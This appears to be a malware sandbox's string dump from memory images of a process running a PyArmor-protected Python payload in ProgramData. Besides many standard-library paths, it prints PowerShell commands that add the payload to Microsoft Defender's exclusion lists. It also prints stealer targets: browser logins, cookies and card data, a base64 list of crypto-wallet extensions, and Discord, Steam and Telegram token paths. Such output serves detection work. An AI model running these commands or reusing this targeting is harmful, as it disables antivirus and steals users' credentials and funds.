"C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\historical_reader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\simple_interact.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\unix_console.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\unix_eventqueue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\windows_console.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\windows_eventqueue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\_minimal_curses.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\_threading_handler.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\message.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\process.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\thread.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\_base.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\futures\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\dyld.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\dylib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\fetch_macholib" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\fetch_macholib.bat" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\framework.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\README.ctypes" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\macholib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\application.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\multipart.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\nonmultipart.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\expatreader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\diagnose.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_adapters.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_collections.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_functools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_itertools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_meta.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\_text.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\metadata\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\readers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\simple.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_adapters.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_common.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_functional.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\_itertools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\resources\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\dummy\connection.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\multiprocessing\dummy\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\expatbuilder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\NodeFilter.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\xmlbuilder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\cElementTree.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\ElementInclude.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\ElementPath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\readers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\simple.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\importlib\_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\decoder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\encoder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\scanner.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\tool.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\json\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\logging\config.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\logging\handlers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\logging\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pathlib\_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pathlib\_local.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pathlib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\topics.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc_data\_pydoc.css" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_casefix.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_compiler.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_constants.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\_parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\dbapi2.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\dump.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sqlite3\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\mypy.ini" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\_parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\_re.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\_types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tomllib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\case.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\loader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\main.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\mock.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\result.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\runner.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\signals.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\suite.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\_log.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\unittest\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\error.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\parse.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\request.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\response.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\urllib\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\handlers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\headers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\validate.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wsgiref\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xmlrpc\client.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xmlrpc\server.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xmlrpc\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\_common.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\_tzpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zoneinfo\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\commands.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\console.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\curses.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\input.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\keymap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\main.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\mypy.ini" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\pager.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\reader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\readline.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\trace.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\utils.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyrepl\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\spam.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\audio.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\base.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\image.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\mime\text.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\domreg.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\minidom.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\pulldom.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\dom\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\parsers\expat.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\handler.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\saxutils.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\xmlreader.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\etree\ElementTree.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\parsers\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\xml\sax\_exceptions.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\_path\glob.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\ham\eggs.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipfile\_path\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__phello__\ham\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\collections" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\_collections_abc.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\os.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\stat.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\ntpath.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\genericpath.py" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\_ctypes.pyd" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sysconfig" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.04FC0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.04FC0000.00000004.mdmp "$path = "C:\ProgramData\NexusSoftware\felix1"; if (-not (Get-MpPreference).ExclusionPath -contains $path) { Add-MpPreference -ExclusionPath $path; }" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "$process = "C:\ProgramData\NexusSoftware\felix1\pythonw.exe"; if (-not (Get-MpPreference).ExclusionProcess -contains $process) { Add-MpPreference -ExclusionProcess $process; }" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "Login Data, CommandLine: , Name: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall-*.lo--gNoDefrdDefVPNDefID: CommandLineOpera GX Stabletdata\tdataZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbg==AFileSystemntivFileSystemirusPrFileSystemoduFileSystemct|AntiFileSystemSpyWFileSystemareProFileSystemduct|FireFileSystemwallProdFileSystemuct[^\u0020-\u007F]Profilesexpiraas21tion_yas21ear%appdata%\discord\Local Storage\leveldbmoz_cookiesTotalVisibleMemorySizeis_securewaasflletasfWeb DataDisplayVersionautofill" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp "sSecureSoftware\Valve\SteamROOT\SecurityCenterv10*ssfn*expiryname_on_cardSteamPath//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.Removeeencrypted_valueNWinordVWinpn.eWinxe*WinDisplayName\Program Files\\Program Files (x86)\profiles1*.1l1d1begram.exehost_keyAppData\Local\ProcessIdUnknownExtensionexpires_utcuser.config\Telegram Desktop\tdataAppData\Roaming\OpHandlerenVPHandlerN ConHandlernectName%USERPEnvironmentROFILE%\AppDEnvironmentata\RoaEnvironmentmingUNKNOWNOpera GXv11\Program Data\name{}:,[]".Profile_Unknownloginscookies.sqliteROOT\SecurityCenter2coMANGOokies.sqMANGOliteLocalPrefs.json\Windows\*.vstring.Replacedfexpiras21ation_moas21nth%DSK_23%TelTReplaceokReplaceenReplaces.tReplacextdisplayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension SettingshostB" in Source: 00000000-00003580.00000001.112940.050C0000.00000004.mdmp, "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}" in Source: 00000000-00003580.00000001.112940.70209000.00000002.mdmp, "C:\ProgramData\NexusSoftware\felix1\" in Source: 